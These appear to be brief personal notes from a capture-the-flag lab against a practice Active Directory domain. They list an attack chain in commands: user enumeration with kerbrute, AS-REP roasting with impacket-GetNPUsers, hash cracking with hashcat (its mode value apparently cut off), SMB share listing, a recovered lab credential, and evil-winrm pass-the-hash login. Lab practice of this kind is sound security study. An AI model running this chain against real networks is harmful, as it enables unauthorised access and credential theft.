enum4linux 10.10.176.12
kerbrute
./kerbrute_linux_amd64 userenum -d spookysec.local --dc 10.10.176.12 userlist.txt
impacket-GetNPUsers
impacket-GetNPUsers spookysec.local/svc-admin -dc-ip 10.10.176.12
hashcat
hashcat -m 18
smbclient -L //10.10.176.12 -U "svc-admin"
smb://ip/backup
backup@spookysec.local:backup2517860
evil-winrm -u <user> -H "hash" -i ip
Last updated 19 days ago
